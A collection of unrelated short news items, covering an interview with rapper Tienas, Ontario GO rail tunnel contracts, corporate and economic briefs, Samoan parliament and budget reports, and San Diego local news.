"I have nothing against other collectives. I just do not connect with this underground scene. I listen to the AR Rahmans and the Amit Trivedis and I believe they are terrific," replies the 23 year old upon asked if he worships any 'heroes' closer to home. That Tienas idolises Eminem should not come as a surprise to anyone who's heard him spit verses after verses with a genuine attempt to Slim Shady-fy his live performances. With compositions like 'Fake Adidas' and 'I Rap for Dead Rappers', the musician reflects the crowded thoughts and narrows it down to a few dozen words that complements the same. "Every time I create a song, I realise I am not satisfied with it." So, how does he cope up with this cycle? "I wander, and I create more songs." Pretty effective, argues the rapper.

Tienas emphasises, throughout the chat, that the songs do not speak more than what they stand for. However, the other half of the four piece collective 'Prophets' overpower other factors in the collective's year-long journey so far, as something Tienas and Rayson4 7 feel extremely proud about. In December 2016, Tienas and Rayson4 7 held an informal audition to find two other songwriters to begin a journey that later found identity under 'FTS Elementries'. The collective, towards the mid 2017, created a YouTube channel and began populating their latest project with individual originals and collective efforts. Tienas acknowledges he's in 'no wonderland', but that doesn't stop him from aspiring to be the greatest rapper in the world.

Speaking about great rappers, the tempt soared high to not miss the opportunity to engage him with a question concerning Eminem's (his idol) latest album, which failed to create as much a buzz among music critics since its release. The rapper replies, "To each his own. I was flabbergasted and failed to find words to appreciate how tight the album sounded. Of course, there would be people who will celebrate Honey Singh's music, and people who will diss him. The problem is, no one gave a shit about Honey Singh when his lyrics comprised socio-political angles. However, when he moved to alcohol and ladies, the man topped rankings everywhere." Tienas extends his dissatisfaction involving the current trends to the usual suspects - the 'Badshahs' of Bollywood and the generation's hunger to adopt what's cooking in the West.

- Tienas "When I am confident, I do not stutter at all. I do not stutter when I rap because I am a slave to the rhythm,"
Toronto Tunnel Partners (TTP) is the recipient of a contract with Infrastructure Ontario (IO) and Metrolinx to design, build and finance the Highway 401 Rail Tunnel project for the GO Regional Express Rail (RER) program.

The fixed-price contract is worth CA$116.9 million (US$90.6 million), officials said.

Ontario is moving forward to build the infrastructure we need to deliver GO [RER]. Improving service on the Kitchener GO corridor will make it easier for people to use public transit to travel to work or school or for appointments, said Steven Del Duca, Ontario minister of Transportation. The 401 Rail Tunnel Project, which will also support potential high speed rail service between Toronto and Windsor, is another step forward in building the transportation system Ontario needs to continue to grow and prosper.

Members of the TTP team include:

Applicant Lead: EllisDon Capital Inc. and STRABAG Inc.

Construction: EllisDon Civil Ltd. and STRABAG Inc.

Design: WSP Canada Inc., Dr. Sauer & Partners, Amec Foster Wheeler

Financial Advisor: EllisDon Capital Inc. and STRABAG Inc.

TTPs selection is the result of a procurement process overseen by a third party fairness advisor, officials said.

As reported Oct. 25 by RT&S, IO and Metrolinx selected a consortium led by EllisDon Capital Inc. and STRABAG Inc., as the preferred proponent for the Highway 401 Rail Tunnel project.

The province continues to provide faster, more frequent service by implementing GO [RER] in the Greater Toronto and Hamilton area, one of the largest transit infrastructure investments in North America, said Bob Chiarelli, minister of Infrastructure. Our investments in public transit and transportation across Ontario are managing congestion, connecting communities and giving people more travel options, as we support economic development for all Ontarians.

The project scope entails construction of a new tunnel under Highways 401 and 409 to accommodate two tracks, future signaling and communications infrastructure, and replacing footings of retaining walls that support the ramp from eastbound Highway 409 to eastbound Highway 401.

Construction is set to launch in the spring of 2018, with an expected substantial completion date in late summer 2021. TTP said it anticipates about 50 workers will be on-site at the peak of construction, with most workers coming from the Toronto area.

Building a new tunnel under the 401 will allow us to expand service on the Kitchener GO corridor to make it easier for our current and future customers between Toronto and Kitchener to choose GO Transit as a way to travel, said Metrolinx President and CEO Phil Verster. We are excited to be working with the Toronto Tunnel Partners consortium to build this new infrastructure to add more track to deliver our future electrified 15-minute all-day service in core areas to get our customers to their destinations faster and easier.

In other IO news, three teams have been shortlisted to design, build and finance the Davenport Diamond project, which will construct a grade separation between the north/south GO Rail corridor and east/west Canadian Pacific Rail corridor to minimize delays to GO service, as well as other improvements.

The three teams include:

Davenport Construction Partners

Applicant Lead: Dragados Canada, Inc., Bot Infrastructure Ltd.

Construction Team: Dragados Canada, Inc., Bot Infrastructure Ltd., Black & McDonald

Design Team: COWI North American Ltd. (Design Lead), IBI Group Professional Services (Canada) Inc., Dissing+Weitling, Peto MacCallum Ltd., SENER SES Canada Inc.

Financial Advisor: ACS Infrastructure Canada Inc., National Bank Financial Inc.

Graham Commuter Rail Solution

Applicant Lead: Graham Capital Partners LP, Graham Construction and Engineering LP

Construction Team: Graham Construction and Engineering LP

Design Team: LEA Consulting Ltd. (Design Lead), exp Services Inc., International Bridge Technologies, Brown & Storey Architects Inc.

Financial Advisor: Graham Capital Partners LP

Steelhead

Applicant Lead: Dufferin Construction Company (a division of CRH Canada Group Inc.), Aecon Infrastructure Management Inc. (a subsidiary of Aecon Group Inc.)

Construction Team: Dufferin Construction Company, Aecon Infrastructure Management Inc.

Design Team: Mott MacDonald Canada Limited (Design Lead), DTAH, Pedelta, Golder Associates Ltd., R.J. Burnside & Associates Limited

Financial Advisor: Bank of Nova Scotia

Officials note the teams were chosen based on criteria such as their construction capability, experience, qualified personnel and financial ability to deliver a project of this size and scope. The teams will be invited to respond to a request for proposals in early 2018.
Ontario has issued a Request for Bids (RFB) to develop the environmental assessment terms of reference for a portion of its corridor linking Kitchener-Waterloo to London in southwestern Ontario.

The terms will offer an outline for planning and the environmental assessment, which will evaluate how aspects of the project could affect the environment. Topics such as how stations are built, track locations, energy requirements, expected ridership and parking needs will be considered.

I am very happy to announce our progress in bringing high speed rail to southwestern Ontarioconnecting communities and investing in a future-ready transportation system, said Steven Del Duca, minister of Transportation. This historic project is the first of its kind in Canada, and will be one of the largest planning and environmental assessments our province has ever completed. We are investing in modern, integrated transit that will make life easier for commuters and families, and get people where they need to go faster.

New train and safety standards are set to be developed with Transport Canada to inform the environmental assessment process, officials said, citing the fact that high-speed rail will be a new service for Ontario and Canada.

The high-speed rail line is expected to provide service for more than seven million commuters, with suggested stops including Windsor, Chatham, London, Kitchener-Waterloo, Guelph and Toronto Union Station, with a connection to Pearson International Airport.

A website has been dedicated to the environmental assessment process, and officials said it will be continuously updated to inform the public of what high-speed rail will mean for people in Southwestern Ontario and across the province.

Ontario says it plans to engage with Indigenous communities, private and public partners and municipalities throughout the environmental assessment process, as well as during design work and ridership forecasting.
Campbell Soup Co. (CPB) announced Monday morning that it has agreed to acquire Snyder's-Lance Inc. (LNCE) for $50.00 per share in an all-cash transaction.

Snyder's-Lance gapped up sharply Monday, but was range-bound throughout the session. The stock finished with a gain of 3.25 at $50.04 on the highest volume of the year. Snyder's-Lance climbed to its third consecutive new high for the year.

For comments and feedback contact: editorial@rttnews.com

Business News
The European Commission said it has opened an in-depth investigation into the Netherlands' tax treatment of Inter IKEA, one of the two groups operating the IKEA .

The Commission has concerns that two Dutch tax rulings may have allowed Inter IKEA to pay less tax and given them an unfair advantage over other companies, in breach of EU State aid rules.

In the early 1980s, the IKEA business model changed into a franchising model. Since then, it has been the Inter IKEA group that operates the franchise business of IKEA, using the "IKEA franchise concept". What this means more concretely is that Inter IKEA does not own the IKEA shops. All IKEA shops worldwide pay a franchise fee of 3% of their turnover to Inter IKEA Systems, a subsidiary of Inter IKEA group in the Netherlands. In return, the IKEA shops are entitled to use inter alia the IKEA trademark, and receive know-how to operate andexploit the IKEA franchise concept.

Thus, Inter IKEA Systems in the Netherlands records all revenue from IKEA franchise fees worldwide collected from the IKEA shops. The Commission's investigation concerns the tax treatment of Inter IKEA Systems in the Netherlands since 2006. Ppreliminary inquiries indicate that two tax rulings, granted by the Dutch tax authorities in 2006 and 2011, have significantly reduced Inter IKEA Systems' taxable profits in the Netherlands.

The Commission said it has concerns that the two tax rulings may have given Inter IKEA Systems an unfair advantage compared to other companies subject to the same national taxation rules in the Netherlands. This would breach EU State aid rules.

For comments and feedback contact: editorial@rttnews.com

Business News
(Agencia CMA Latam) - The Chinese government has cut import tariffs for food products as of December 1, a decision that favors some of Argentina's exports, according to the South American country.

The regulations establish lower temporary tariffs aimed at reducing prices and stimulating spending of the final consumer on 187 products that China has to import.

According to the Argentinean government, there was a tariff reduction on 32 items that favor the country - for example, frozen shrimp (from 5% to 2%). That is one of the main export products of the Argentinean fishing sector to China. In the dairy sector, the tariff has been reduced for all cheeses, except for fresh ones.

In food and beverages, there will be a reduction in the tariffs for uncooked pasta, without egg (mainly comprising dried pasta) homogenized whiskey, said the Ministry of Agribusiness of Argentina.

by Agencia CMA Latam

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Economic News

What parts of the world are seeing the best (and worst) economic performances lately? Click here to check out our Econ Scorecard and find out! See up-to-the-moment rankings for the best and worst performers in GDP, unemployment rate, inflation and much more.
Banco Latinoamericano de Comercio Exterior, S.A., known as Bladex (BLX), announced late Monday that Rubens Amaral Jr. submitted his resignation and will step down as Chief Executive Officer effective April 30, 2018. He will be succeeded by Gabriel Tolchinsky, currently the Banks Chief Operating Officer and Alternate to the CEO.

Separately, Bladex, a Panama-based multinational bank, announced the departure of Chief Financial Officer Christopher Schech to pursue other opportunities. He will be replaced by Ana Graciela de Mendez, currently Senior Vice President of Finance of Bladex, as part of the succession plan of the Organization.



The newly appointed CEO, Tolchinsky, has worked as a fulltime consultant to Bladex since 2014 helping the Bank develop its Supply Chain Financing . In May this year, Tolchinsky took over as Chief Operating Officer in charge of Administration, Technology and Operations, and as the Alternate to the CEO, working closely with Amaral to enhance Bladex's position as a key player in Latin America's trade finance business.

The company noted that Graciela de Mendez, as the new CFO, will assume responsibility for the Bank's financial management, as well as the interaction with rating agencies, shareholders, and investors.

Bladex's Chairman, Mr. Gonzalo Menendez Duque, said, "The Board is saddened by the departure of a CEO whose success in improving the Bank's business model, attracting top talent, relentlessly driving financial performance and enhancing the value of the Bladex brand is well-known and deservedly recognized."

For comments and feedback contact: editorial@rttnews.com

Business News
A parliamentary panel has suggested that the government extend the duty drawback rates for exporters prevailing prior to the roll out of the Goods and Services Tax (GST) until June next year or till the revenue department fixes the revised rates.

In its report on the "Impact of Goods and Services Tax (GST) on Exports" tabled in both houses of parliament on Tuesday, the Standing Committee on Commerce chaired by Naresh Gujral (Rajya Sabha/Akali Dal) recommended that a formal mechanism be instituted for redressing the grievances of exporters.

"In order to bring relief to the exporters, the Committee recommends that the Department of Revenue, Ministry of Finance extend the pre-GST duty drawback rates till June 30, 2018, or till such time the Department works out the revised duty drawback rates," the report said.

"The Committee hopes that this will enable the exporters to overcome the problems being faced by them currently besides helping them to take a long term perspective while negotiating export orders," it added.

Noting that the GST refund mechanism for exporters is "tardy and cumbersome" due to several operational issues, the committee also suggested that a simplified system for filing of refunds needs to be devised for the ease of doing business.

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Actress Sunny Leone on Tuesday said that she will not attend the New Year bash in the city after the police denied permission to the organisers.

"Since the police of Bengaluru have publicly said that they will not be able to ensure mine, and all who attend, safety for my New Years event, my team and I feel, safety of the people should always come first. Therefore, I cannot attend. God bless and I wish everyone a safe and Happy New Year," Sunny tweeted.

She later added: "To all those who protested and to all those who supported, always remember, never allow others to speak and choose for you.

"Have your own voice and make your own choices. You are the youth and you are the new India! Stand proud and stand together. I love you all dearly!"

Earlier on Saturday Bengaluru Police Commissioner T. Suneel Kumar denied permission for a New Year bash in the city where Sunny was invited to perform.

"We are denying permission for Sunny Leone's musical show on December 31 night to maintain law and order and prevent any untoward incident in the city," Kumar told reporters here.

Sunny was supposed to perform at the Manyata Tech Park in the city suburbs. However, the city police chief said it would not be possible to provide enough security at the venue as the entire force would be on duty across the city on that night.
Prime Minister Narendra Modi arrived in Thiruvananthapuram on Tuesday to visit coastal villages in Kerala that were ravaged by Cyclone Ockhi. He later visited Tamil Nadu.

Modi flew in from Lakshadweep, where the cyclone destroyed properties. Kerala Chief Minister Pinarayi Vijayan received the Prime Minister.

Modi then left for Kanyakumari in Tamil Nadu by helicopter.

Hundreds of fishermen have lost their lives and several are yet to return after Ockhi struck the southern coasts on November 30.

Modi was expected to return here around 5 p.m. and spend half hour in Poonthura village where he would meet the families of the affected community.

He will also interact with Vijayan before leaving for Delhi.

More than 70 fishermen from the southern districts of Thiruvananthapuram and Kollam died in Ockhi while more than 250 remain missing.


There is a popular saying Life is a box of Chocolates! You never know what youre gonna get.

Last week, Wilex Samoa launched a new range of chocolate boxes to add to its ever popular Koko Loa line of chocolates.

Its three new products- aimed for the local, tourist and export markets are:

1. The Dairy Free Milk Coconut Chocolate - is a first of its kind in the world- and is a delicious product targeting the Vegan Market as well as health foods markets. We developed this chocolate after numerous requests from our Vegetarian and vegan community as well as surveys carried out at the Auckland, Food Show held in July where Koko Loa displayed some of its products.

2. The Koko Loa Assorted Gift Pack of Chocolates is simply divine! The Gift Packs were inspired by our customers feedback saying they wanted something slightly bigger to show off Samoa to family and friends, weve worked tirelessly with our design people in Wellington, NZ to bring you this beautiful packaging masterpiece.

The new packaging arrived last week and were so excited for our Farmers, Retailer and also Our Employees as if Sales pan out we will definitely need more employees. We promise it is quality chocolate. Still proudly produced here in Lelata by our 20+ staff. Wilex strives to give an exquisite taste of Samoa with nuts and fruits to tickle your taste buds! Koko Loa was just launched in American Samoa last week- and so far support has been overwhelming, with resulting orders now being sent over.

3. Koko Loa Macadamia Gift Pack is now being produced here due to popular demand by our American and Asian Customers. Wilex hopes to use existing Samoan Macadamia and nut trees for these products to encourage and support small farming communities.

This will provide an extra source of income for our people, instead of going to NZ and Australia, we want to encourage our people to stay in Samoa and farm our land said Tagaloa Eddie Wilson.

Wilex Samoa has a network with over 300 farmers /families since the Mid 1990s, and plans to continue local production are ongoing.

Our farmers are 2nd  3rd Generation Wilex Farmers, I worked with their Grandparents and parents to develop their farms and now theyre teaching there children as well, so the more success Wilex sees so will their farmers, said Tagaloa Eddie Wilson.

The brand Koko Loa was envisioned by founder Tagaloa, the name Koko Loa is a play on his Chiefly title Tagaloa  a God of our ancestor.

Thus, Koko Loa is Heaven Sent.

The Koko Loa Gift Packs were just launched in American Samoa last week and so far support has been overwhelming with the resulting orders now being sent over

Wilex Samoa has been working with the American Samoa Government and farmers in growing cocoa in the American territory.

Soon Wilex will start producing chocolates from cocoa grown in American Samoa. Plans are for manufacturing arm of the company to be established there as a doorway from the American market.

Koko Loa has now established export markets in Am Samoa, New Zealand, USA and Japan.

The local factory has just commissioned new plant-equipment including a refiner-conches to increase its exports capacity.

Wilex Samoa has a network with over 1100 farmers- families since the Mid 1990s and plans to continue local production are ongoing.

Wilex plans to increase local cocoa production by at least another 2000 acres with its farmers and its farmers and its own.

Plans are also in place to establish joint ventures in Fiji and Tonga as well to increase market access to the pacific tourism industry.
The last Parliament session for 2017 is underway at its make-shift home at Tuanaimato.

The session started with a Parliamentary Prayer Breakfast this morning, led by Reverend Peteru Fiaumi Taua of the E.F.K.S. Lepale, Fasitoo-uta.

The bill on the agenda this morning include:



1. Supplementary Appropriation Bill (No. 1) 2017/2018;

2. Casino and Gambling Control Amendment Bill (No. 2) 2017;

3. Alienation of Customary Land Amendment Bill 2017;

4. Crimes Amendment Bill 2017;

5. Immigration Amendment Bill 2017;

6. Income Tax Amendment Bill (No.2) 2017;

7. Asian Infrastructure Investment Bank Bill 2017.



Parliamentary Awareness Programme for Civil Society

The Office of the Legislative Assembly will host its 2nd Parliamentary Civil Society Programme, on the same day Parliament meets for its final sitting 2017.

The programme aims at strengthening ties between Parliament and the public by increasing awareness about the works of Parliament.

More importantly, the programme seeks to develop relations with the media so as to be able to report Parliamentary proceedings to the public effectively.
The Minister of Finance, Sili Epa Tuioti, tabled a $24.4 first Supplementary Budget for the financial year 2017/18 yesterday.

The Minister submitted the budget for Parliaments consideration during the last sitting of Parliament for 2017, which is continuing today.

The biggest expenses include $12.4million for the Statutory Vote and $5.2million allocated for the Ministry of Prisons and Corrections.

The money will be used to complete the new facility being built at Tanugamalala.

In addressing Parliament, Minister Sili said the budget continues the theme of Equity and Fairness.

It is committed to maintaining the fiscal target of a budget deficit within 3.5% of G.D.P, he said.

In pursuit of that target, all additional expenditures being requested under this Supplementary Budget are fully funded from confirmed additional revenues and reallocation of savings.

The Supplementary Budget therefore is self-funded without the recourse to borrowing which means the fiscal deficit remains unchanged.

Sili also highlighted that the economy continues to see positive growth growing by 2.4% in 2016/17 in real terms.

The strong growth was driven largely by the Commerce sector, Agriculture, Personal and other services as well as other Manufacturing, he said.

I am pleased to also report that a review of the 2016/17 Budget out turn has indicated that the 2016/17 budget deficit was 2.1% of G.D.P  well below the 3.5% fiscal target.

This positive result was largely driven by improved revenue collection which was 3.7% higher than 2015/16. Tax collection was up 3.3% while other revenues, fees and charges increased by 1.1%. On the other hand, government operating expenditures declined for the third consecutive year.

Government continues to invest in a number of essential infrastructure projects such as the rebuilding of the Faleolo terminal building and runway, new roads and bridges, the submarine cable and hydro power plants which will improve the services to the public.

Mr. Speaker, these achievements demonstrate good governance in the management of government resources as well as the strengthening of whole of government approaches to enhance the efficiency and effectiveness of service delivery.

The following is the summary of the Supplementary Budget.

Mr. Speaker,

I would now like to present the key parameters of the First Supplementary Estimates for the information of Members.

The additional expenditures requested in the estimates total $24.4million. These expenditures will be funded through a combination of new and additional revenues of $23million and a reallocation of current budget resources of approximately $1.4million.

Summary of Revenues:



The new and additional revenues amounting to $23million are as follows:

 $12.75million will be sourced from our partnership with the World Bank through the Joint Policy Action Matrix. Our commitments under the JPAM have been successful in triggering the payment of this amount to support the 2017/18 budget.

 $9.6million will be sourced from excess on-lending repayments.

 $688,957 is expected from the VAGST generated as a result of the

additional expenses under the Supplementary spending.

Total funds expected as a result of the reallocation of existing budget resources

will generate $1.4million as follows:

 $481,000 from the Statutory Vote;

- These are savings accumulated to date on the foreign exchange

appropriation under the Statutory expenses;

 $100,000 from the Ministry of Agriculture;

- These are funds remaining from the implementation of the

Agriculture Show that was held in October this year.

 $696,024 from the Ministry for Commerce, Industry and Labour;

- These funds were appropriated for the Yasaki lease of the facilities at Vaitele. With Yazaki closed, these funds are now available to be reallocated;

 $152,085 from the Ministry of the Prime Minister and Cabinet;

- These funds relate to positions that MPMC have foregone to fund priority positions identified under the First Supplementary;

Summary of Additional Expenditures:

As already stated, the total additional expenditures requested under this supplementary budget amounts to $24.4million and are as follows:

 $12.4million for the Statutory Vote;

- $14,400 for telephone allowances for members of the Judiciary.

These are mandated benefits and are now included as part of the

salaries of the members of the Judiciary;

- $65,089 additional required under the External Debt Servicing

Interest Payment;

- $2million additional required under the Income Tax Refunds;

- $3million additional for Duty Rebates;

- $7.35million additional required for VAGST Refunds;

 $102,915 to the Ministry of Commerce, Industry and Labour;

- $20,915 additional required for the salary of the Principal Human

Resource Officer;

- $82,000 to finance a replacement vehicle for the Ministry as approved by Cabinet;

 $700,000 for the Ministry of Education;

- $500,000 additional required for the salaries of teachers;

- $200,000 additional to top up benefits for teachers;

 $5.66million to the Ministry of Finance;

- $2.55million for Duty on materials required for donor funded

development projects;

- $2.55million for VAGST on materials used for donor funded

development projects;

- $50,000 counterpart costs for the Apia Waterfront Development;

- $20,000 counterpart costs on the project for Disaster Risk

Management;

- $40,000 counterpart costs on the UNFPA Multi Agreement;

- $10,000 counterpart costs required under some initiatives of the

Customary Land Advisory Commission;

- $150,000 additional monies required under the counterpart costs

for the Enhancing Resilience of West Coast Road Project;

- $290,000 as part payment of the Hosting Fee for the 2019 Pacific Games;

 $60,270 for the Ministry of Justice and Courts Administration;

- $60,270 for the remuneration of the Judicial Research

Analyst/Consultant;

 $5.2million to the Ministry for Prisons and Corrections;

- $3.7million to complete the current contract on the construction

works for the 8 cell block building of the new prison;

- $1.5million initial costs for the construction of the Administration

Block for the new prison;

 $144,539 for the Ministry of the Prime Minister and Cabinet;

- this is intended to finance the 4 priority posts requested by the

MPMC;

 $131,000 to the Fire and Emergency Services Authority

- $131,000 to finance new personnel required for the new 911 Call

Centre.

Conclusion

Mr. Speaker and Honourable Members,

The Supplementary Budget before the House is a product of careful consideration to ensure macroeconomic stability is maintained and at the same time will provide additional resources to deliver the services demanded by the public. Government will continue to ensure quality spending and prudent allocation of resources so we can deliver on an improved quality of life for everyone.

Mr. Speaker, Honourable Members,

On behalf of the Government, I take the opportunity to wish you and Honourable Members of Parliament as well as the people of Samoa a Joyful and Peaceful Christmas and a Prosperous 2018.

Soifua
Parliament yesterday endorsed the governments plan to re-introduce the Criminal Libel Act into the law books of Samoa.

Abolished by the ruling Human Rights Protection Party in 2013, Members of Parliament unanimously agreed to bring back the law when Parliament reconvened for the last time this year at Tuanaimato yesterday.

The bill passed the first, second and third reading within less than an hour.

Prime Minister Tuilaepa Sailele Mailielegaoi has been instrumental in bringing back the law, as part of a government-driven effort to clamp down on ghost writers such as Ole Palemia and others who use fake social media pages to attack members of the public.

Speaker of Parliament, Leaupepe Toleafoa Faafisi, said the re-introduction of the law was expedited due to the urgent nature of the issues it sets out to deal with.

Minister of Justice and Courts Administration, Faaolesa Katopau Ainuu, introduced the Bill in Parliament. He said the law is not new.

This amendment is in relation to defamation, he said. Currently there is a clause to have this case before the Court for a civil claim. The amendment today is to add on the criminal prosecution for defamation.

People have asked as to why we need to reinstate the criminal libel when the matter can be dealt with through civil.

In a civil claim, there is a need for lawyers to represent your case and most of our people cannot afford a lawyer; whereas the Criminal Libel the matter can be prosecuted by the Police and you would not need a lawyer.

The Minister also talked about the history of the law.

It was abolished back in 2013 based on legal opinions of some lawyers however the government sees the need to reinstate this law following requests by members of the public who want to pursue cases before the Court but cannot afford a legal counsel, said Faaolesa.

The Bill amends the Crimes Act 2013 with introduction of a new Part 9A for crimes against a persons reputation.

This is according to the explanatory memorandum, which further says the offence being introduced under this Part is False statement causing harm to a persons reputation.

The rationale for introducing the offence is to address harm done to a persons reputation by another person who publishes false information about that person.

This is similar to defamatory libel and although civil proceedings for defamation are available to the public, the reality is, not all Samoans have access to these proceedings as not all are able to afford legal services required for such proceedings.

It is therefore on that premise that this offence is introduced into the Crimes Act 2013 to allow any member of the public to have access to the criminal justice system in dealing with the harm suffered due to false information being published.

- provides for the short title and commencement.

- provides for the insertion of a new Part 9A with a new section 117A which provides that a person who publishes information about another person that is false with the intention to cause harm to that persons reputation, commits an offence, says the Memorandum on the Amendment.

Member of Parliament, Fonotoe Lauofo Pierre supports the Bill and commended Faaolesa for reinstating the measure that will better serve members of public who are victims of defamation.

The passage of the amendment couldnt come at a better time, given the advancement of technology nowadays.

This amendment criminalizes those who publish untrue comments, and most especially nowadays with the use of social media.

What comes to mind is the utilization of cell phones via texts, where users send threatening and defaming remarks and this has escalated over the years.

That is why I want to thank the Minister.

He spoke about an incident out of his Village where this same issue was discussed.

Members of the youth were making unwelcoming remarks towards others, he said.

Its saddened to see such actions and this also applies to emails and that is why this amendment couldnt come at a better time, said Fonotoe.

CRIMES AGAINST A PERSONS REPUTATION AMENDMENT

False statement causing harm to a persons reputation:

1. (1) A person commits an offence who publishes by any means information:

1. (a) about another person;

2. (b) that is false;

3. (c) with the intention to cause harm to that persons reputation.

2. (2) It is a defence under this section if the information published

is true.

3. (3) A person who commits a crime under this section is liable

on conviction to a fine not exceeding 175 penalty units or imprisonment for a term not exceeding three (3) months..
The Tuamafa Adventist Theological College celebrated its first graduation at Vaivase-uta, S.D.A. Church, last week.

The institution was established in 2014 by the Saturday Seventh-day Adventist Church, Samoa.

Themed Educate to Serve, the guest speaker was the Head of State, His Highness Tuimaleali'ifano Vaaletoa Sualauvi II.

His Highness Tuimaleali'ifano thanked the school for a job well done and challenged the graduates to live in accordance to the teaching of the school.

Seven students graduated from three schools: two in Leadership and Administration, two in Ministry and three in Theology.

They will be called to pastor the nine parishes of the church in Samoa and four in Australia.

Other speakers of note included Pastor Dr. Jerry Afamasaga-Puni (President of Church and Head of Tuamafa Theology Department), Pastor Dr. Teleiai Sapa Saifaleupolu (Acting Head of Tuamafa College), Moananu Patolo Setu (Chair of Tuamafa College Board) and Pastor Tupou A Lauifata Teo (Leader Saturday S.D.A. Church Australia).

We give glory to God and thank all our church members for their hard work and support that has made this day possible and we wish the graduates the best for the future, Pastor Dr. Jerry said.

Pastor Jerry says the full Samoan name of the college is Tuamafa Fili Malae.

Tuamafa is an old and wise pigeon and he is the leader of the flock of pigeons and it flies where it will and the others follow, he said.

Fili Malae means he seeks and decides fields for safe landing, hunting and rest. He looks for home and/or new beginnings or mornings.

To this end, Tuamafa College was established by the Saturday Seventh-day Adventist Church, Samoa, for the furtherance of Gods Kingdom and for a new beginning for the Adventist church in Samoa.

According to the biblical story (Genesis 8:11), a dove was released by Noah after the flood in order to find land; it came back carrying an olive branch in its beak, telling Noah that, somewhere, there was land. Christians used Noah's dove as a peace symbol.

In Christian iconography, a dove also symbolizes the Holy Spirit, in reference to Matthew 3:16 and Luke 3:22 where the Holy Spirit is compared to a dove at the Baptism of Jesus.

The college will open a new branch in Sydney, Australia, come February next year.
A lawyer and a graduate of Auckland University, Toaiva Hitila, has dedicated her success and acceptance to the New Zealand bar to her sister, the late Lina Hitila.

Toaiva, of Laulii, Faleula, Siutu and Salailua Savaii, recently graduated with Bachelor of Commerce and a Bachelor of Law, having already obtained a Bachelor of Arts from the same University.

Coupled with her acceptance as a barrister and solicitor in New Zealand, it was a proud moment for the daughter of Reverend Talosaga and Neta Hitila.

But Toaiva did not forget her sister Lina who sadly passed away on this day, 20 December in 2013.

I want to make a special dedication to someone who has seen me through the good and bad, she said. My best friend in life and sister to eternity, Lina HItila. You have been my rock since day one. Your fight was also my fight, and my fight yours. This one is for you.

Toaiva is a former student of Samoa College, Kelston Girls and Marist Sisters College in Auckland NZ.

Thank you to all my family and friends who played a very important part throughout this journey. Your prayers, words of encouragement and love have made this day possible.

To my beloved parents who through their sacrifice and faith in our Heavenly Father have been my backbone since day one. Thank you from the bottom of my heart.

I would like to acknowledge my spiritual families and respective congregations; Siutu E.F.K.S, Sailualua E.F.K.S., Te Atatu E.F.K.S. for all the prayers, love and support.

For her father Rev. Talosaga, he said their family is humbled by Toaivas success.

He instead used the opportunity to encourage and challenge the young generation of Samoa to rise up to fulfil their God-given potentials.

Remain steadfast in your faith in God, he said. Work hard for a successful future. Love and serve your parents, your families, your village, your church and your country with all your heart and strength and everything you do will be successful.

Lastly, he quoted Proverbs 2 vs 10 and 11 which reads: When wisdom entereth into thine heart, and knowledge is pleasant unto thy soul; Discretion shall preserve thee, understanding shall keep thee.
The longtime owner of San Diegos CBS 8 television and 760-AM talk radio stations said Monday it is selling its holdings to publicly traded Tegna Inc. for $325 million in cash.

Family-owned Midwest Television, founded in 1952, has entered a definitive agreement in which Tegna will acquire KFMB-TV CBS 8 and The CW San Diego television properties, as well as talk radio station KFMB-AM 760 and adult rock station KFMB-FM 100.7.

Based in McLean, Va., Tegna was created in 2015 when USA Today publisher Gannett Co. split its local television/digital media operations and its newspaper publishing arm into two companies.

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Tegna owns 46 television stations in 38 cities nationwide, including a collection of leading network-affiliated stations in the top 25 markets in the U.S.

San Diego is the 29th largest U.S. TV market with 1.1 million households and the 17th largest radio market. According to Tegna, KFMB-TV leads the market in audience ratings across all demographics and is No. 1 in news across all major time slots. The CW San Diego operates as a digital sub-channel of KFMB.

Tegna said its local stations reach one-third of all television households. It operates 10 stations in Texas, including Houston, Dallas/Fort Worth, Austin and San Antonio. But it also has stations spread throughout the country from Seattle to Atlanta, Boise to Jacksonville.

In California, its only other station is KXTV-TV ABC-10 in Sacramento.

There are no changes planned in operations of the KFMB properties, according to a Tegna spokeswoman. Efforts to reach KFMB-TV were unsuccessful.

This is a marriage of two great broadcasting cultures, said Dave Lougee, chief executive of Tegna, in a statement. We have long admired our dedicated colleagues in San Diego and look forward to continuing the stations high-quality journalism, editorial independence and commitment to their local community.

Elisabeth Kimmel, president of Midwest Television, said in a statement that she was searching for an excellent steward for the television and radio stations that her family operated for more than 55 years.

We have found such a partner in Tegna, an innovative media company that shares our commitment to the highest levels of journalistic integrity and serving the greater good of the community, she said.

Structured as an asset purchase, the deal represents a purchase price multiple of 6.6 times expected earnings before taxes, interest, depreciation and other expenses, according to Tegna. The company expects the purchase of KFMB stations to add a few cents to its earnings per share within the first 12 months after closing.

Tegna will use available cash and borrow under its existing credit facility to fund the purchase. The deal is subject to regulatory approvals but is expected to close in the first quarter of 2018.

Tegna announced the acquisitions of KFMB stations after markets closed. It shares ended trading Monday up 47 cents at $14.09 on the New York Stock Exchange.

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mike.freeman@sduniontribune.com;

Twitter:@TechDiego

760-529-4973
A first-time event in El Cajon happening close to the start of 2018 will bring together the arts, music, dance and food to connect East County youths.

The inaugural East County Art and Music Fest will be held at Granite Hills High School as a way to promote a drug-free and alcohol-free New Years celebration.

The free, secular event will include live music by two local bands, music clinics, an art class taught by local painter Al Scholl, karaoke and food. It is set for noon to 4 p.m., Friday, Dec 29, in the gym at the school at 1719 E. Madison Ave.

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El Cajon Valley High teacher and musician Brent Ford is teaming with his fellow Granite Hills  circa 1980s  alumni Teddy and Tommy Vardell to host the event.

The Vardell brothers run a nonprofit group called BrotherBird Foundation, located in Colorado. The foundation has helped children in that state, including those who are autistic, deaf, part of a low-income family or living in foster homes, with opportunities to be educated and experience sports, music, culture and more.

Teddy Vardell said the foundation wanted to reach out to the brothers hometown to give back to the youths of East County.

Ford said he originally planned for the event to happen last year, but it hit several logistical roadblocks. Now he hopes that it will take off and become a yearly event.

Were building something here, working together to make something good happen, Ford said. The whole purpose and theme of the East County Art and Music Fest is that we want to showcase the creative things youths can do  without drugs and alcohol.

Vardell said the event is also a way to take kids out of isolated experiences like being on their cell phones and playing video games and into experiencing how to play.

Both said the recent death of Granite Hills High student Will Burton earlier this month in an automobile accident in Alpine has touched them deeply. They hope that the event, coincidentally being held on that same El Cajon campus, can also be a place for healing.

karen.pearlman@sduniontribune.com
An outdated elementary school on Marine Corps Base Camp Pendleton will be replaced if the state comes up with money to match federal dollars.

We are cautiously optimistic that we will receive all the funding needed to start construction for May Fay Pendleton School, Fallbrook Union Elementary School District spokesman Bill Billingsley said.

